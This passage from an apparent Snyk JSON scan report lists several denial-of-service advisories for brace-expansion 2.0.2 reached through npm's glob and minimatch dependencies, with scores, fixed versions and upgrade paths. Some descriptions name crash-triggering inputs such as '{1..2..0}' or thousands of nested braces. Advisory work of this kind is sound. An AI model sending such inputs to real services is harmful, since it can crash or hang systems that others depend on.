"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
